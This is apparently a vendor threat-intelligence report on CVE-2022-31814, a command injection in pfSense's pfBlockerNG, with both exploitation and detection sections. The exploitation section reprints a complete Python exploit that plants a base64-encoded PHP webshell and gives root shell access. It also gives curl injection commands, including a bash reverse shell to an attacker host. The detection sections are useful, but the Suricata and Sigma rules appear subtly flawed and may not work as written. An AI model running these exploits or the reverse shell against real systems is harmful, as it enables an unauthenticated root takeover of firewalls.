CVE-2022-31814

Executive Summary

CVE-2022-31814 is a critical, unauthenticated OS command injection vulnerability in the pfBlockerNG package for pfSense, affecting versions up to and including 2.1.4_26. The vulnerability resides in the improper sanitization of the HTTP Host header within the /pfblockerng/www/index.php endpoint. An attacker can inject arbitrary shell metacharacters into the Host header, leading to remote code execution (RCE) as the root user. This allows a complete compromise of the pfSense firewall, including data exfiltration, lateral movement, and persistent backdoor installation. The vulnerability has a CVSS score of 9.8 (Critical) and is trivial to exploit, with public proof-of-concept code and a Nuclei template available. The 3.x branch of pfBlockerNG is not affected.

Supply Chain & Package Security

This vulnerability is not a supply chain attack on a package registry (e.g., NPM, PyPI). It is a direct code injection flaw in the pfBlockerNG package, which is installed via the pfSense package manager. The risk is that users who install pfBlockerNG from the official pfSense repository are vulnerable until they manually update to a patched version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full system read access.
• Integrity (I): High (H) - Full system write access.
• Availability (A): High (H) - Full system control, including denial of service.

Threat Level: Critical. The combination of network exploitability, no authentication, and root-level code execution makes this a top-priority vulnerability for any organization using pfSense with pfBlockerNG.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw in the Host header processing logic of pfBlockerNG. The application uses the Host header value in a shell command without proper sanitization or escaping.

Root Cause: The Host header is passed directly into a shell command (likely via exec(), system(), or popen() in PHP) to perform DNS lookups or other network-related tasks. The code does not filter or escape shell metacharacters such as ;, |, $(), or backticks.

Attack Flow:

1. An attacker sends an HTTP GET request to /pfblockerng/www/index.php.
2. The attacker sets the Host header to a malicious payload, e.g., ' *; host <attacker-controlled-domain>; '.
3. The vulnerable code constructs a shell command that includes the unsanitized Host header.
4. The shell interprets the injected metacharacters, executing the attacker's command.
5. The attacker can then execute arbitrary commands as root, such as creating a webshell, exfiltrating data, or pivoting to internal networks.

Why it works: The single quote (') closes any existing string context, the semicolon (;) terminates the original command, and the attacker's command is executed. The * is a glob that may be used to match files, but the core injection is the command separator.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly uses Host header in a shell command
$host = $_SERVER['HTTP_HOST'];
$output = shell_exec("some_command --host " . $host);

Patched Code (Conceptual):

// Patched: Sanitize and escape the Host header
$host = $_SERVER['HTTP_HOST'];
$host = escapeshellcmd($host); // or escapeshellarg()
$output = shell_exec("some_command --host " . $host);

The patch (version 2.1.4_27) likely introduces proper input validation and escaping using PHP's escapeshellcmd() or escapeshellarg() functions, or by validating the Host header against a whitelist of allowed characters (e.g., only alphanumeric, dots, and hyphens).

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: pfSense 2.6.0 with pfBlockerNG 2.1.4_26 installed.
• Attacker: Kali Linux or any system with Python3 and requests library.

Exploit Usage (from Exploit-DB):

The provided Python exploit automates the entire process:

1. Check: Verifies pfBlockerNG is installed.
2. Upload Shell: Injects a base64-encoded PHP webshell into /usr/local/www/system_advanced_control.php.
3. Interactive Shell: Provides a command-line interface to execute commands via the webshell.
4. Cleanup: Deletes the webshell upon exit.

Step-by-Step:

1. Save the exploit code as exploit.py.
2. Run: python3 exploit.py --url https://<target-ip>:443/
3. The exploit will upload a webshell and drop you into an interactive shell as root.
4. Execute commands like id, whoami, cat /etc/passwd, or ls -la /root/.

Manual Exploitation (using curl):

# Step 1: Verify the endpoint
curl -k -s -o /dev/null -w "%{http_code}" https://<target-ip>/pfblockerng/www/index.php

# Step 2: Inject a command (e.g., create a file)
curl -k -H "Host: ' *; touch /tmp/pwned; '" https://<target-ip>/pfblockerng/www/index.php

# Step 3: Execute a reverse shell (using a listener on attacker)
# Attacker: nc -lvnp 4444
curl -k -H "Host: ' *; bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'; '" https://<target-ip>/pfblockerng/www/index.php

Full Exploit-DB Code:

# Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
# Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
# Date: 5th of September 2022
# Exploit Author: IHTeam
# Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
# Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
# Version: 2.1.4_26
# Tested on: pfSense 2.6.0
# CVE : CVE-2022-31814
# Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/

#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
args = parser.parse_args()

url = args.url
shell_filename = "system_advanced_control.php"

def check_endpoint(url):
    response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
    if response.status_code == 200:
        print("[+] pfBlockerNG is installed")
    else:
        print("\n[-] pfBlockerNG not installed")
        sys.exit()

def upload_shell(url, shell_filename):
    payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
    print("[/] Uploading shell...")
    response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
    time.sleep(2)
    response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
    if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
        print("[+] Upload succeeded")
    else:
        print("\n[-] Error uploading shell. Probably patched ", response.content)
        sys.exit()

def interactive_shell(url, shell_filename, cmd):
    response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
    print(str(response.text)+"\n")


def delete_shell(url, shell_filename):
    delcmd = "rm /usr/local/www/system_advanced_control.php"
    response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
    print("\n[+] Shell deleted")

check_endpoint(url)
upload_shell(url, shell_filename)
try:
    while True:
        cmd = input("# ")
        interactive_shell(url, shell_filename, cmd)
except:
    delete_shell(url, shell_filename)

Blue Team (Detection & Response)

Detection:

• Monitor HTTP requests to /pfblockerng/www/index.php with unusual Host headers containing shell metacharacters (;, |, $, backticks).
• Look for outbound DNS queries from the pfSense firewall to unknown or suspicious domains (indicates the host command injection).
• Monitor for the creation of unexpected PHP files in /usr/local/www/ (e.g., system_advanced_control.php).

Response:

1. Immediately isolate the affected pfSense appliance from the network.
2. Check for signs of compromise: new user accounts, modified system files, unexpected processes.
3. Review firewall logs for outbound connections to attacker-controlled IPs.
4. Rebuild the pfSense appliance from a known-good backup or reinstall.
5. Update pfBlockerNG to version 2.1.4_27 or later before reconnecting.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /pfblockerng/www/index.php with Host headers containing ;, |, $(), or backticks.
  • Outbound DNS queries to attacker-controlled domains (e.g., from host command injection).
  • Outbound connections from pfSense to unknown IPs on common ports (4444, 8080, etc.) for reverse shells.

• File IOCs:

  • Unexpected PHP files in /usr/local/www/, especially system_advanced_control.php.
  • Modified system binaries or scripts in /usr/local/www/pfblockerng/.
  • Presence of webshells or backdoor scripts.

• Process IOCs:

  • Unusual processes running as root, such as python3, bash, or nc (netcat).
  • Processes initiating outbound network connections.

• Log IOCs:

  • pfSense system logs showing execution of commands via exec() or system() with suspicious arguments.
  • Web server access logs showing requests to /pfblockerng/www/index.php with abnormal Host headers.

Detection Engineering

YARA Rule

rule CVE_2022_31814_pfBlockerNG_Webshell {
    meta:
        description = "Detects webshells uploaded via CVE-2022-31814"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-31814"
    strings:
        $php_tag = "<?php"
        $cmd_param = "c="
        $pass_through = "passthru"
        $system_adv = "system_advanced_control"
    condition:
        $php_tag and $cmd_param and $pass_through and $system_adv
}

Sigma Rule

title: CVE-2022-31814 - pfBlockerNG OS Command Injection via Host Header
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to pfBlockerNG with malicious Host headers indicating OS command injection.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31814
    - https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "/pfblockerng/www/index.php"
        cs-host|contains:
            - ";"
            - "|"
            - "$("
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of special characters in Host header is extremely rare.
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-31814 - pfBlockerNG OS Command Injection via Host Header"; flow:to_server,established; content:"/pfblockerng/www/index.php"; http_uri; content:";"; http_host; nocase; content:"|"; http_host; nocase; content:"$("; http_host; nocase; content:"`"; http_host; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (from Hacker Arsenal)

id: CVE-2022-31814

info:
  name: pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection
  author: EvergreenCartoons
  severity: critical
  description: |
    pfSense pfBlockerNG through 2.1.4_26 is susceptible to OS command injection via root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Upgrade to a patched version of pfSense pfBlockerNG (>=2.1..4_27) to mitigate this vulnerability.
  reference:
    - https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
    - https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
    - https://github.com/EvergreenCartoons/SenselessViolence
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31814
    - http://packetstormsecurity.com/files/171123/pfBlockerNG-2.1.4_26-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31814
    cwe-id: CWE-78
    epss-score: 0.9436
    epss-percentile: 0.99963
    cpe: cpe:2.3:a:netgate:pfblockerng:*:*:*:*:*:pfsense:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: netgate
    product: pfblockerng
    framework: pfsense
  tags: cve,cve2022,packetstorm,pfsense,pfblockerng,rce,oast,netgate,vkev,vuln

http:
  - raw:
      - |+
        GET /pfblockerng/www/index.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |+
        GET /pfblockerng/www/index.php HTTP/1.1
        Host: ' *; host {{interactsh-url}}; '
        Accept: */*

    unsafe: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "GIF")'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"
# digest: 4b0a004830460221009404c3f67c2e375a42dabb581d5d21b567cd18177b23fb226fe911fb83ed4307022100925a6d3392dfec99c462afddd999ea2126a8c87079f5f17fbc6e799a209d162c:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade pfBlockerNG: Update to version 2.1.4_27 or later from the pfSense package manager. The 3.x branch is also safe.
2. Restrict Access: If immediate patching is not possible, restrict access to the pfSense web interface to trusted IPs only using firewall rules.
3. Disable pfBlockerNG: Temporarily disable the pfBlockerNG package until it can be updated.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) to filter malicious Host headers.
• Enable logging and monitoring for unusual HTTP requests.
• Regularly update all pfSense packages.
• Apply the principle of least privilege to all services.

Valters IT Signature This report was generated by Valters IT DevSecOps & CTI Division.

{/* [Security Hash: 2110A212B0FD5F7858939D60] */}